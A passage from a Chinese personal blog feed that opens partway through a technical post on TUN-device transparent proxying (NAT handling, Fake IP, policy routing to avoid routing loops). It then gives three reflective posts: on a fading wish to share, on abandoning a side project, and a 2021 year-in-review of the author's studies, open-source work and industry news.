TCP 连接的 peer 信息得到在第3步修改的源 IP 和源端口,通过这些信息可以通过查 NAT 表得到 App 真正想要访问的 IP 和 端口(甚至可以通过查 DNS 请求记录拿到域名信息),因此代理客户端可以根据自己的协议进行加密和封装等操作,然后发送给代理服务端,由代理服务端进行真实的请求操作。</p><div class=mermaid id=id-3></div><p><strong>5. 将返回数据封包回 IPv4 并写入 TUN</strong></p><p>通过代理客户端与代理服务端、代理服务端与谷歌的通信,拿到谷歌真正的返回数据,现在需要重新封装回 IPv4 数据包,还是利用系统网络栈:将数据写入 TCP Socket (<code>198.10.0.1:1313</code>) 中,便可以在 TUN 侧拿到封装好的 IPv4,就是这么轻松。</p><div class=mermaid id=id-4></div><p><strong>6. App 拿到返回数据</strong></p><div class=mermaid id=id-5></div><p>上面的过程便是利用操作系统网络栈完成 IPv4 到 TCP 载荷数据及其反方向转变的过程。通过这种办法,可以充分利用操作系统的实现,都是饱经检验,质量可靠,且满足各种复杂情况。但是也有缺点,数据需要拷贝多次,增加了性能损耗和延迟。</p><h3 id=nat-策略><a href=#nat-策略 class="header-mark headerLink">NAT 策略</a></h3><blockquote><p>我这里想说的 NAT 策略不是指常说的那四种 NAT 类型,当然你可以去实现不同的NAT类型来满足各种各样的需求,但那是更深入的话题,不在本文讨论。</p></blockquote><p>在刚刚的流程的第3步中,你应该发现对源 IP 和源端口的修改是有限制的,我们需要将 IP 限定为 TUN 网段,从而使返回的数据包可以重新被 TUN 设备捕获。但是这种限制是非常宽松的,在我们的例子对 TUN 设备网段的配置中,你有 2^16 个 IP 可供选择,每一个 IP 又有 2^16 个端口可供选择。</p><p>但是如果你仔细观察,你会发现上面的例子并没有充分利用这些资源,我们仅仅是将 Fake IP 作为源 IP、真实目标端口作为源端口,而这个 IP 的其他端口都被闲置了。同时我也在其他人写的某些程序中发现,他们仅选择一个 IP 设置为源 IP,通过合理的分配该 IP 的端口作为源端口,在这种情况下, TUN 网段中其余的 IP 资源就被浪费了。</p><p>以上两种 NAT 策略在个人电脑上没啥问题,但是如果代理客户端运行在网关上,网络中访问的 IP 数量超过网段中 IP 数量上限,或者 hash(ip:port) 数量超过端口总数(2^16),就会难以继续分配 NAT 项。因此我们应该专门编写一个 NAT 管理组件,合理分配 IP 和端口资源,争取做到利用最大化。</p><h2 id=防止环路><a href=#防止环路 class="header-mark headerLink">防止环路</a></h2><p>抛开事实不谈,如果我们想要代理全部流量,就是要通过路由规则将所有流量导向我们的 TUN 设备,这是很直观且朴素的想法,就像下面的命令一样单纯:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-fallback data-lang=fallback><span class=line><span class=cl>sudo route add -net 0.0.0.0/0 dev tun0
</span></span></code></pre></td></tr></table></div></div></div><p>如果你真的这么写,你就会发现你上不了网了。这是因为出现了环路。</p><p>如果稍微思考一下,你就会发现,虽然我们想要代理所有流量,但是代理客户端与代理服务端的流量却是需要跳过的,如果用上面的路由,就会导致代理客户端发出的流量经过路由然后从 TUN 重新回到了代理客户端,这是一个死环,没有流量可以走出去。流量只近不出,来回转圈,你的文件打开数爆炸,操作系统不再给你分配更多的句柄,数据来回拷贝,你的CPU风扇猛转,电脑开始变卡。</p><p>这是我们不想看到的,需要采取一些措施避免环路的产生。在实践中有不少方法可以避免这种情况的发生,例如通过合理的配置路由规则,使连接代理服务器的流量可以顺利匹配到外部网络接口。只不过这种方法不够灵活,如果代理服务器 IP 发生变化则需要及时改变路由规则,非常麻烦,所以我们接下来介绍其他的方法。</p><h3 id=fake-ip><a href=#fake-ip class="header-mark headerLink">Fake IP</a></h3><p>Fake IP 就是我们上面例子中用到的方法,这是一种限制进入流量的方法。基本思路是自己实现一个 DNS 服务器,对用户的查询返回一个假的 IP 地址,我们可以将返回的 IP 地址限制为 TUN 设备的网络段,这样应用发起的流量其实便是发给 TUN 网络的流量,自然的被路由匹配,而无需像前面那样路由全部的流量,其余的流量包括代理客户端发起的请求便不会被路由,可以保证不产生环路。</p><p>当代理客户端需要知道应用真正想要请求的地址时,就通过一些接口向自己实现的 DNS 服务器进行反向查询即可。</p><h3 id=策略路由><a href=#策略路由 class="header-mark headerLink">策略路由</a></h3><p>通过前面的分析,可以发现产生环路是因为代理客户端本身发出的流量被系统路由到 TUN 设备导致的,因此我们可以想办法让代理客户端本身发起的流量不走 TUN 而是从真实的物理网络接口出去。</p><p>在 (类)Unix 系统中,可以对代理客户端的流量打上 fwmark 防火墙标记,然后通过策略路由使带有标记的流量走单独的路由表出去,从而绕过全局的流量捕获。</p><p><strong>cgroup</strong></p><p><code>cgroup</code> 是 Linux 内核的功能,可以用来限制、隔离进程的资源,其中 <code>net_cls</code> 子系统可以限制网络的访问。在网络控制层面,可以通过 <code>class ID</code> 确定流量是否属于某个 cgroup,因此可以对来自特定 cgroup 的流量打上 fwmark,使其能够被策略路由控制。</p><p>我们可以创建一个用于绕过代理的 cgroup ,对该 cgroup 下进程的流量使用默认的路由规则,而不在该 cgroup 的其余进程的流量都要路由到 TUN 设备进行代理。</p><h2 id=一些其他的知识><a href=#一些其他的知识 class="header-mark headerLink">一些其他的知识</a></h2><h3 id=tun-与-tap-的区别><a href=#tun-与-tap-的区别 class="header-mark headerLink">TUN 与 TAP 的区别</a></h3><p>TAP 在2层,读取和写入的数据需要是以太帧结构</p><p>TUN 在3层,读取和写入的数据需要是IP数据包结构</p><h3 id=ip-等配置><a href=#ip-等配置 class="header-mark headerLink">IP 等配置</a></h3><p>在给网卡配置IP时,其实是修改内核网络栈中的某些参数,而不是修改网卡。虽然网卡也会有一些可供修改的配置项,但一般情况是通过其他方法进行修改的(驱动程序)。</p><h3 id=物理网卡与虚拟网卡的区别><a href=#物理网卡与虚拟网卡的区别 class="header-mark headerLink">物理网卡与虚拟网卡的区别</a></h3><p>物理网卡会有 <strong>DMA</strong> 功能,在启用 DMA 时网卡和网络栈(内存中的缓冲区)的通讯由 DMA 控制器管理,因此性能更高延迟也更低。</p><h3 id=如何创建-tun-设备><a href=#如何创建-tun-设备 class="header-mark headerLink">如何创建 TUN 设备</a></h3><p>在Linux下一切皆文件,<code>/dev/net/tun</code> 是特殊的字符(char)设备文件,通过打开这个文件获得一个文件句柄,然后通过 <code>ioctl()</code> 系统调用对其进行配置。在这里可以选择打开TUN设备还是TAP设备,可以设置设备名称。</p><p>详见:<a href=https://www.kernel.org/doc/html/latest/networking/tuntap.html#network-device-allocation target=_blank rel="noopener noreffer" class=post-link>Network device allocation</a></p><h3 id=与-bpf-的关系><a href=#与-bpf-的关系 class="header-mark headerLink">与 BPF 的关系</a></h3><p>BPF 是一种高级数据包过滤器,可以附加到现有的网络接口,但其本身不提供虚拟网络接口。 TUN/TAP 驱动程序提供虚拟网络接口,可以将 BPF 附加到该接口。</p><h2 id=扩展阅读><a href=#扩展阅读 class="header-mark headerLink">扩展阅读</a></h2><ul><li><a href=https://www.kernel.org/doc/html/latest/networking/tuntap.html target=_blank rel="noopener noreffer" class=post-link>https://www.kernel.org/doc/html/latest/networking/tuntap.html</a></li><li><a href=https://github.com/xjasonlyu/tun2socks target=_blank rel="noopener noreffer" class=post-link>https://github.com/xjasonlyu/tun2socks</a></li><li><a href=https://github.com/eycorsican/go-tun2socks target=_blank rel="noopener noreffer" class=post-link>https://github.com/eycorsican/go-tun2socks</a></li><li><a href=https://github.com/gfreezy/seeker target=_blank rel="noopener noreffer" class=post-link>https://github.com/gfreezy/seeker</a></li><li><a href=https://github.com/shadowsocks/shadowsocks-rust target=_blank rel="noopener noreffer" class=post-link>https://github.com/shadowsocks/shadowsocks-rust</a></li><li><a href=https://www.wintun.net/ target=_blank rel="noopener noreffer" class=post-link>https://www.wintun.net/</a></li></ul>]]></description></item><item><title>我的表达欲在减少</title><link>https://zu1k.com/posts/thinking/low-desire-of-expression/</link><pubDate>Mon, 21 Mar 2022 12:04:46 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/low-desire-of-expression/</guid><description><![CDATA[
<blockquote><p>其实一开始我是想写为什么博客更新越来越慢,但是随着思考的深入,我发现不仅是博客,我在其他地方也越來越封闭,不再表达自己。</p></blockquote><p>翻看近几年我发过的朋友圈,19年1条,20年2条,21年发了3条,而今年仅有一条新年祝福。发朋友圈和说说频率的锐减,我在很早之前就发现了,博客更新频率也在减少,与人倾诉的频率几乎归零。</p><p>不知道为什么,随着知识的增加、人生经验的积累,我的表达欲却在慢慢的下降,而现在几乎已经到达一个极低的水平。看似与人交流很多,却未讨论过自己真正关心的事情;经常麻烦别人,却在遇到真正的难题时自己闷头解决;没有什么伤心事,但总觉得自己忧国忧民心怀天下;看了很多思考了很多,却不再表达而是通过阅读寻求认同感;逐渐封闭掉自己的熟人社交,转向匿名化平台发表。</p><p>我觉得我变了,我不知道这是一种成长还是一种心理疾病,我思考了很多原因,也许是找了一些借口,我决定将它们写下来。</p><blockquote><p>现在我打开手机的笔记软件,这些想法是我昨晚睡前思考的东西,怕第二天忘记所以及时的记录了下来。在我面前的一连串的“我怕”,但仔细看下来却又觉得自己是多么的幼稚,这些东西有啥好“怕”的,我是在在乎什么,为何不能坦然一点。</p></blockquote><p><strong>我怕文章不够条理</strong></p><p>也许你已经发现,我的文章大多都明确的划分段落写上标题,我在特意的理清文章的内容,便于读者阅读。我发现这是一种额外的负担,我是真的想写流水帐,想到什么就写什么,又不是在写书,读者啥的你们会自己去理清楚的。我真想这么做,但又真的不敢,这是一种怎样的束缚,我也说不清楚,就是不敢放开自己。</p><p><strong>我怕内容浅显、质量不高</strong></p><p>实际上这有点自欺欺人,回过头看看自己已经发布过的内容,大部分都是内容浅显且质量不高吧。即使这样,我在发布和表达之前,都会仔细的审查,查找很多资料,尽可能使内容更加丰富和全面。同时,我又觉得这是一种枷锁,是一种表面上的全面,实际上难以深入下去,我有读一些大佬写的内容,他们往往只针对某一个特定的小问题,进行非常深入深刻的思考和讨论,通常可以启发读者,使人醍醐灌顶、理解通透并举一反三。</p><p>比如要说eBPF这个技术,我现在的稿子是,先对比Linux内核模块,然后从BPF的起源、历史,技术原理,应用范围,到已有的开源应用和其在安全领域的应用,我发现我几乎就是在抄袭eBPF的官方文档,缺乏自己的思考和深入的探究。eBPF的应用范围很广,仅在网络流量的分析、处理领域就有很多的内容可写,而我若总想着全面和丰富,就势必难以面面深入,使文章看起来像是在洗稿。这篇关于eBPF的“全面”的文章可能不会发布了,不过我想可能会拿来用作内部分享给不了解的人,使其有个大概的认识。我会单独重新写一篇,专注我所关心的与安全相关的应用。</p><p><strong>我怕内容很快过时</strong></p><p>我曾经阅读过不少内容,在经过区区几年就完全过时,我害怕自己写的内容也有这样的情况,所以我想尽可能的写原理性的东西,但又感觉自己肚子里没有什么墨水。这是一种非常纠结的心情,明明自己有不少实践经验,但这些经验往往依附于特定条件和环境,分享出去会帮助到人但也仅仅在那个时间段会有用,而要讲原理却难以深入下去,总感觉那些东西的原理又很浅显。</p><p>我想写一些教程类的东西,但是又害怕写这类东西,因为在我的评判标准里,教程是没有技术含量的,在我的认知里,看这种第三方的教程不如直接看文档,其中一个很重要的原因就是时效性,不想让别人搜到我的文章,看完后一大骂一句“干,都什么年代了,还用这个方法”。</p><p><strong>我怕暴露自己的无知</strong></p><p>我想表现的像一个长者,但是我的知识和经历无法支撑我做到。认识到自己的无知,已经是很大的进步。我想到了罗翔老师曾经的一个视频,也记得苏格拉底说过的话。我要正视自己的无知,认识到人本身的局限性,并发挥自己的主观能动性,努力提升自我获得进步。</p><p><strong>我怕不被理解</strong></p><p>除了上面的原因之外,还有一些其他的因素,其中最重要的一点是,我觉得自己的很多观点发布之后不会被理解,很多时候我感觉自己对问题的关注点跟身边其他人不太一样,时间久了后就不再想表达。其实“不会被理解”这只是我自己的想法,我并没有通过大量实践来证明这一点,这是不是一种自负的心理?</p><p>我在知乎上看到一个回答,“我觉得我们不断表达,不断分享,是一种筛选,筛选相似的灵魂。如果不愿表达与分享了,只有两种可能:我不抱有能够找到这样的人的希望了,或者我已经找到了”。我不认为自己已经找到,但也并不是已经放弃了希望,但总觉得很怪。</p><p><strong>我怕惹人讨厌</strong></p><p>不愿意表达自己的内心,也许是怕惹人讨厌,或者说,怕因为观点(三观)不合,而断绝交往,感觉像是一种敏感的心理。但是我确实会在意别人的看法,表露内心特别是深层次的感情对我来说有不小的困难,或者说心理障碍,我宁愿隐藏起感情。但我会用实际行动去支持我内心的想法。</p><p><strong>单纯没有欲望</strong></p><p>逐渐远离分享,就好比那天傍晚,一出科研楼大门,便看到那夕阳特殊的颜色和周围炸裂开的云,我不知道该如何描述,云就好像八卦盘一样,一层一层的围绕着夕阳,而每一片又是单独的,夕阳在最中间发出特殊的光辉,好为震撼。我心想,好壮观,好漂亮啊。停下来看了好几秒,却毫无拍下来分享给朋友的意愿。身边有很多人在拍照,我没有这个想法,但我印象中在我初中阶段我是很喜欢拍各种各样的事物的。我不知道这种心理上的变化因何而来,也不知道是好事还是坏事。</p><p><strong>人格</strong></p><p>下午上课无聊,测试了一下性格,结果显示 <a href=https://www.16personalities.com/intp-personality target=_blank rel="noopener noreffer" class=post-link>[“逻辑学家"人格]</a>,其中的描述我觉得与我实际情况颇为相似,里面的一些情况虽然我不愿意承认,但是的确存在在我的身上。</p>]]></description></item><item><title>你应该弃坑吗?</title><link>https://zu1k.com/posts/thinking/continue-or-give-up/</link><pubDate>Sat, 08 Jan 2022 23:10:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/continue-or-give-up/</guid><description><![CDATA[
<p>当你在做某一件事,貌似已经陷入其中好多时日,某一天猛然反应过来,好像这件事并没有想像那么重要,你应该弃坑吗?</p><p>我将以自身经历来向你讲述这一点,我已经经历过这样的抉择好多次了。最初还是非常难以割舍,毕竟已经投入了如此多的精力和时间,就此别过总显得虎头蛇尾。但后来我也算是想通了,人的精力总归是有限,应该尽可能的投入到真正想做的事情中,越能够及早的意识到这一点,在这样的抉择面前越能够坦然做出决定。</p><p>我也是近几年才意识到这一点,如果没有记错的话,第一次遇到这样的抉择是在三年前。</p><p>起初,在某一天我的脑海中突然有了一个想法。人一旦有了想法便总想要去实现一下,于是我便开始着手做这件事,顺便开源出去看看能不能给别人也提供一点便利,说不定还能拉一波人气。事情最初的发展确实符合我的预期,我便投入更多时间,同时对外做了一些宣传工作。</p><p>随着关注的人越来越多,我的心态发生了一些变化,我也不知道到这种心态应该如何表达,也许是对项目、对使用者的责任心,夹杂着一丁点虚荣心。项目的使用者越来越多,他们给出了不少反馈,提了一些问题、要求和请求。作为项目维护者,我常常被这些问题和要求折磨,因为责任感的原因,我的邮件通知就像锁魂咒一样,哪怕是在睡觉,一听到那声通知音,我便能立即醒过来,点亮手机查看反馈。如果我觉得能够在短时间内解决这个问题,我甚至能够在大半夜爬起来打开电脑处理这个问题。白天的绝大多数时间我都在做这个项目的开发,甚至拿不出时间出去玩,有时候因为写到兴头,午饭时间都能被我拖到下午一两点。虽然累,但看到问题被一个个解决,项目不断完善,我觉得自己甚至能够想象到使用者满意的眼神,那一段时间确实乐此不疲。</p><p>后来某一天,我坐在床上发呆的时候,回想自己这一段时间的经历,发现自己貌似除了这个项目,没有完成其余的任何一件其他的事情。这很可怕。我突然意识到,如果这个东西在未来的某一天突然没有了价值,甚至说它的价值一直以来都是被我高估了,那我在这么长的一个时间内,做了个什么?我是不是,或者说也许一直是在做一件无意义的事情,这些时间都被我浪费了,可怕的是我一直没有意识到这一点,甚至陷入其中乐此不疲。</p><p>带着这个想法,我开始重新审视我做的这个项目。首先这个项目的技术并不是非常复杂,任何一个有良好编程基础的人愿意花点时间都可以做出来;然后这个项目的提供的功能貌似是在法律的边缘摩擦,继续开发可能会带来一定的风险;最后这个项目的用户貌似是那么一群乐于白嫖的人。从以上三点出发,我觉得自己这一段时间确实是浪费在一个永远不会有回报的精力黑洞里面了。此时此刻我的心情是非常的复杂,懊悔自己最初做出的选择,同时又对关停这么长时间完成的东西有那么一些不舍。</p><p>最后我还是决定终止该项目了。及时止损,任何一个成年人都应该学会这一点,我也刚刚开始领悟这个道理。我觉得这是我弃坑历程的起始点,有了这一次弃坑经历,我在后面的抉择面前,能够更加坦然的做出决定。</p><p>现在回到我最初提出的问题:“当你在做某一件事,貌似已经陷入其中好多时日,某一天猛然反应过来,好像这件事并没有想像那么重要,你应该弃坑吗?”。虽然我上面的故事貌似是在鼓励弃坑,但我的本意并非如此。现在我给出我的观点,我认为最重要的是“初心”。</p><p>在面临“我应该弃坑吗?”这样的抉择面前,第一件事并不是要赶快反省甚至批判、贬低自己已经完成工作的价值,而是要好好审视一下自己的内心,“我最初到底是想要什么?”,然后根据这个标准,认真评价当前工作是否还在按照实现初心的路径前进。如果因为一些其他的外界事情干扰,工作偏离了航线,则需要判断是否有挽回的机会,毕竟就此放弃是人都会有不甘。如果最终判断这件事确实已经完全偏离了初心,其价值无法满足自己的期望,则应该坚定的终止。除此之外,还应该找个没人的地方,好好的捋一下,看看到底是一开始就错了,还是中途出现的偏离,为未来的决定收集好经验。</p><p>到这里,这篇博文算是可以结束了。至于我为什么要写这样一大段文字,主要是我最近看到跟我差不多年纪的年轻人,应该是比我小一点吧,也在沉迷于自己的项目中,没日没夜的维护、解决问题、开发新功能,这些工作耗尽了他几近全部的时间,以至于一直没有时间供他回过头来审视一下。我仿佛从他的身上看到了自己当初的影子,希望他不会像我一样,在某些地方浪费太多的精力,浪费自己大好的青春年华。(这么说好像我年龄好大了一样,我还很年轻好嘛)</p>]]></description></item><item><title>2021年终总结</title><link>https://zu1k.com/posts/thinking/2021/</link><pubDate>Fri, 31 Dec 2021 19:59:57 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/2021/</guid><description><![CDATA[
<p>现在是2021年12月31号晚8点,还有几个小时就要迈进2022的大门。是时候回过头来,再看看我经历过的最不普通的一年了。</p><h2 id=个人相关总结><a href=#个人相关总结 class="header-mark headerLink">个人相关总结</a></h2><h3 id=学业><a href=#学业 class="header-mark headerLink">学业</a></h3><p>首先我要祝贺自己,在2021年6月,顺利结束了大学四年本科生涯,并在今年9月份,开启了研究生新篇章。</p><p>我所在的实验室叫“二进制分析实验室”,主要做二进制漏洞自动化发现相关的工作,还有两个师姐在做恶意流量识别的相关内容。在这个人工智能水论文的大潮流下,在我所处的学院,这个实验室应该是唯一一个能够逃离人工智能技术的地方,其实我的师兄师姐大部分也在用人工智能相关技术,但是我的导师给了我足够宽的选择空间,研究方向和使用的技术从我的爱好出发,因此从我的角度而言,无论最终会不会顺利产生成果,能够顺应自己的爱好,这样的研究生3年,应该是不会枯燥和痛苦。</p><p>然后是实验室的氛围。我发现周围的实验室好多都好压抑,大家每天在自己的工位上戴着耳机,几乎没有交流,除了卷王就是几乎啥都不会的“搞人工智能调参的那群人”,那样的实验室我是一秒钟也不想待。我们实验室就没有那么压抑,大家每天啥都讨论,无论是学术还是未来就业还是谈女朋友还有八卦新闻,最常谈论的话题就是中午吃什么,隔壁实验室的舍友羡慕我们每天实验室几个人一起出去小聚餐,惬意的很。我的师兄师姐也很关心和照顾我,真不错。</p><h3 id=友情><a href=#友情 class="header-mark headerLink">友情</a></h3><p>本科毕业,我与众多好友迎来了分别,他们有的进入企业开始自己的职业生涯,有的保研或考研至其他学校,这一别不知还要多久才能再次相见,江湖路远,期待我们都有光明的前途。</p><p>我仍然记得晚8点去软件园散步或慢跑的那些夜晚,更记得结束后去麦当劳来个甜筒、去老金来顿烧烤、去美莲整点水果的惬意,那些日子有你们陪伴,真好!</p><p>我的本科舍友,黄、尹、李,考研全部成功上岸,祝贺你们。其中尹、李和我在同一校区,黄在另一校区,真是幸运,我们还能继续在科研的道路上共同前进。</p><p>9月,我认识了我研究生时期的新舍友,汪、黄、甫,都是非常不错的伙伴,希望我们可以共同奋进,给研究生的3年画卷涂上绚烂的色彩。</p><h3 id=家庭><a href=#家庭 class="header-mark headerLink">家庭</a></h3><p>这一年,很明显能够看出父母亲又年老了。我很惭愧,对我的家庭非常惭愧,已经二十多岁的人了,还没有成为家里的顶梁柱,父亲还是需要在冰冷的海水里赚钱养家,母亲的腰也因为每天的操劳而生病甚至需要因此做手术。</p><p>不过21年也仍然是幸福的一年,家庭仍然温馨和睦。上研究生以来发了不少奖金,每个月也有不少生活补助,无需再跟家里要钱,还给家里打了几万块钱,给父亲买了新手机。我自己倒还没有换新手机,暂时觉得没有必要,毕竟再战3年可不是说着玩的。</p><p>好久没给爷爷奶奶打过电话了,不过再过不久就可以回家了,想必爷爷奶奶也想我了。</p><h3 id=我的生日><a href=#我的生日 class="header-mark headerLink">我的生日</a></h3><p>小时候每年都要过生日,长大后其实对这个就不在意了,上研究生后我也没有告诉任何人。加上正好是考试月,忙着复习,今年我自己也给忘记了,直到生日前一天我都没有发现。</p><p>父母仍然记着,提起一天发来了祝福和红包。</p><h3 id=我的感情><a href=#我的感情 class="header-mark headerLink">我的感情</a></h3><p>对我自己说,很抱歉,还没有女朋友</p><h3 id=开始用rust写程序><a href=#开始用rust写程序 class="header-mark headerLink">开始用Rust写程序</a></h3><p>20年因为某些机缘巧合了解到Rust并且开始想要学习,但尝试了好几次都没有坚持下去,再加上那段时间我对Go情有独钟,这个事就一拖再拖。</p><p>今年2月份Rust基金会成立,看到了相关新闻,Mozilla、AWS、Google、微软、华为等顶级企业或组织是其第一批成员,这坚定了我使用rust的信念。事实证明我的决定没问题,连挑剔的Linus都接受了Rust对内核开发的涉足,这是cpp都没有的待遇。</p><p>刚看了一下我的仓库列表,今年在9个项目中主力使用Rust开发,根据wakatime统计的数据,写rust时长接近200小时,总行数超过4w行(只计算了增加的行数,没有计算删除的行数)。</p><p>Rust已经成为我最喜欢的编程语言了,这是事实,虽然一次性小脚本我还是会用py,需要并发的临时小工具我还是会用go,和同学合作我还是会用java,但是我新开启的项目已经首选rust了。Rust的性能和表达能力都很优秀,就业岗位暂时不是很多意味着还没有很卷,大企业和Linux对rust的关注代表着它的前途,希望身边还没有开始Rust的同学马上开始行动。(我就是Rust吹,宣传小能手,身边3个同学开始动身学习rust了)</p><h3 id=参与开源项目><a href=#参与开源项目 class="header-mark headerLink">参与开源项目</a></h3><p>参加了今年的“开源软件供应链点亮计划”,体验不错。项目用的go,需求比较简单,主要代码一两个晚上搞定,然后根据社区导师的建议小修小补。感谢社区导师@xuanwo, 给我提供了不少帮助。推荐学弟学妹们参加这个活动,有钱!中等难度项目9000块,赚的非常轻松。</p><p>在某群看到了SOFAStack社区发布的小任务,就给他们的Layotto项目做了两个PR,顺便学习了wasm相关知识,特别是使用wasm写插件系统时,能力引入(导入表)和变长参数传递相关内容有了更加深入的了解。拿到了证书和马克杯,感谢。</p><p>写copy-translator项目时,给egui库做了几个小贡献,没想到头像居然出现在前10了,还被同样在学习rust的好朋友发现了,真不错。</p><p>今年总共有3个项目曾进入过GitHub Trending,分别是 Golang写的proxypool(一个已经弃坑的项目,没想到还这么受欢迎)、copy-translator、good-mitm,后两个都是rust写的。</p><p>GitHub Followers数目在2021年突破1k。</p><p>参与开源的感觉真心不错,22年再接再励!</p><h3 id=被邀请实习><a href=#被邀请实习 class="header-mark headerLink">被邀请实习</a></h3><p>这里开始吹嘘自己</p><p>因为写了<a href=/posts/tutorials/p2p/ipfs/ rel class=post-link>《IPFS新手指北》</a>,Protocol Labs问有没有兴趣"working internally with Protocol Labs"。(那必须的,我很感兴趣,我喜欢这些东西!)</p><p>因为写了copy-translator,某IM初创团队私信问我"有没有兴趣一起做一些有挑战的事情"。(曾经真的有一段时间我特别想做一款IM,我很感兴趣!)</p><p>因为写了<a href=/posts/events/pinkbot/ rel class=post-link>《从最近披露的Pink僵尸网络想到的》</a>,收到360 Netlab的邀请。(说真的,接到电话的我感到受宠若惊,了解后发现他们在做的东西这不就是我想搞的嘛,这可太感兴趣了!)</p><p>可能是从GitHub Trending看到了我,收到了Shopee Singapore的HR发来的邮件,真不错,以后有机会想run去新加坡。</p><p>他们都是非常有吸引力的团队,我也非常希望自己能够参与其中。但是因为某些原因,我暂时没有办法集中精力投入自己的全身心,这里只能说一声抱歉,希望未来的某一天,我们可以一起为同一个目标努力。</p><p>同时,我也想告诉我身边的同学和我的朋友,写博客和做开源项目真的可以起到宣传自己的作用哈哈哈。</p><h3 id=内卷的加重><a href=#内卷的加重 class="header-mark headerLink">内卷的加重</a></h3><p>这部分看过我<a href=/posts/thinking/fuck-involution/ rel class=post-link>《干!有人在卷我》</a>这篇文章的同学能够看懂。</p><p>还是那个任课老师,听同学说,他今年在课上,说起字数的问题,“去年没有说字数的问题,很多同学问字数的问题,今年强调一下,我们没有字数限制。。。。”</p><p>然后,我那那篇文章,实验室一同学在某节课讨论时,被不小心传播开了。哈哈,听说他们今年已经开始1w起步了,身边有人已经写1w7了,这就是内卷的加重啊</p><p>然后,学校旁边的羊汤店,还在卷,饼可以免费不限量吃了。</p><h2 id=行业相关总结><a href=#行业相关总结 class="header-mark headerLink">行业相关总结</a></h2><p>我是比较关注新闻的,特别是计算机、互联网相关行业,今年看到不少新闻,也不知道是今年不太平还是我之前不够关注这方面</p><h3 id=裁员><a href=#裁员 class="header-mark headerLink">裁员</a></h3><p>就是近两个月,已经接连听到国内二十多家互联网公司大幅裁员的新闻,我已经工作的朋友之间传着即将迎来“互联网寒冬”的话,也看到了国外某企业通过zoom会议裁员被喷的故事。</p><p>已经工作的好友想赚够留学的钱然后润(run)去欧州读PhD</p><p>同时,今年我还见证了一纸文书毁灭整个课外辅导、在线教育行业。今年年初,我还在和朋友谈论某某本科同学顺利拿到猿辅导SSP,总包60W,而就在今年,也不知道他来没来得及转正,反正肯定被裁了,太倒霉了。</p><h3 id=大佬去世><a href=#大佬去世 class="header-mark headerLink">大佬去世</a></h3><p>Redox OS活跃贡献者jD91mZM2今年在不正常的离线时间后,被证实去世,证据指向精神健康事件后的自杀,Redox官方发文呼吁要<a href=https://www.redox-os.org/news/open-source-mental-health/ target=_blank rel="noopener noreffer" class=post-link>《关注开源贡献者的心理健康》</a>。</p><p>“The code doesn’t write itself, and the person writing the code needs even more maintenance than the “open source” itself.”</p><p>这个月,前段时间,听说腾讯天美一员工自杀,后来证实是毛星云大佬,也不知道是不是心理健康原因。让我震惊的是腾讯对消息的封锁,在腾讯工作的同学说,内部谈论这个事是被禁止的,所以即使是他们也只能从外部途径才知道去世的是毛星云,真是讽刺。</p><p>对了,我们也不能忘记,21年二十多位院士逝世,他们献身科研,一生为国尽瘁,让我们向他们致敬。</p><h3 id=劳动者权益><a href=#劳动者权益 class="header-mark headerLink">劳动者权益</a></h3><p>这是前段时间看到的新闻,南山必胜客败诉给一个员工,根据劳动法等相关法律。说明我们不能怂</p><h3 id=漏洞><a href=#漏洞 class="header-mark headerLink">漏洞</a></h3><p>Apache Log4j RCE漏洞,全球很多顶级的企业<a href=https://github.com/YfryTchsGD/Log4jAttackSurface target=_blank rel="noopener noreffer" class=post-link>受影响</a></p><p>这个事件我们看到:</p><ol><li>开源项目没有收到赞助,全靠用爱发电。这样不对!</li><li>情报披露问题,阿里云被罚</li><li>互联网好脆弱啊,基础组件就这么不受关注嘛?</li></ol><p>然后,我还想到了今年看到的一些文章和亲身经历过的攻击,针对安全研究人员的攻击真的越来越多了:</p><ul><li>我中了水坑,利用浏览器相关漏洞给我植入了木马,还被某部门上门</li><li>泄漏的IDA含有后门</li><li>针对安全工具反打的方式(以后得格外小心了)</li><li>Log4j这个洞出来后,马上出现了在某些段写payload的方式攻击Ghidra</li></ul><p>我还想说,国内的安全研究环境越来越差了,特别是政策方面</p><h3 id=讨论的消亡><a href=#讨论的消亡 class="header-mark headerLink">讨论的消亡</a></h3><p>最近吃的瓜有点多,无论是娱乐圈还是政圈</p><p>有的瓜被证实了,有的瓜却迟迟没有"辟谣",也不知道是真谣还是假谣</p><p>肉眼可见的是豆瓣、知乎、微博等平台,评论的收紧、限制等措施</p><p>然后,今天看到的新闻:阿里巴巴出售旗下weibo的全部股份,微薄将成为30%国资媒体。新新闻,不多评论了</p><p>推荐一篇文章:<a href=https://www.gcores.com/articles/121924 target=_blank rel="noopener noreffer" class=post-link>中文互联网中“讨论”的消亡</a></p><h3 id=互联网中心化的脆弱性><a href=#互联网中心化的脆弱性 class="header-mark headerLink">互联网中心化的脆弱性</a></h3><p>fastly炸掉,全球顶级网站几乎全部不可用</p><p>不得不反思,当互联网走向集中化,当巨头控制绝大多数资源,当选择变得唯一,一切都会变得极其脆弱。</p><p>IPFS所倡导的分布式web会是未来吗?我不知道答案,但是尝试总是好的</p><h3 id=github-copilot><a href=#github-copilot class="header-mark headerLink">GitHub Copilot</a></h3><p>GitHub用其托管的代码训练的人工智能,能够有效协助写代码,特别是py,js等。</p><p>但是当我使用Rust时,它的自动补全甚至成为了我的累赘,不断的自以为是打断我的思路,因此我把它关闭了。</p><h3 id=炒币挖矿元宇宙><a href=#炒币挖矿元宇宙 class="header-mark headerLink">炒币、挖矿、元宇宙</a></h3><p>舍友沉迷炒币、挖矿、元宇宙</p><p>我不看好,但是不介意在这个没有监管的地方捞一笔</p><h3 id=疫情的现状><a href=#疫情的现状 class="header-mark headerLink">疫情的现状</a></h3><p>变异的病毒在传播,情况不容乐观</p><p>我也没深究,听说mRNA疫苗修改起来简单,可快速开发适合变异后病毒的疫苗,真是厉害啊,一开始他们就想到这一步了吗?如果是,还是得努力追赶啊。</p><p>最近又听说已经有特效药了,厉害啊。</p><p>看到最近西安相关新闻,我跟我妈妈说要稍微屯点东西。</p><h2 id=思考><a href=#思考 class="header-mark 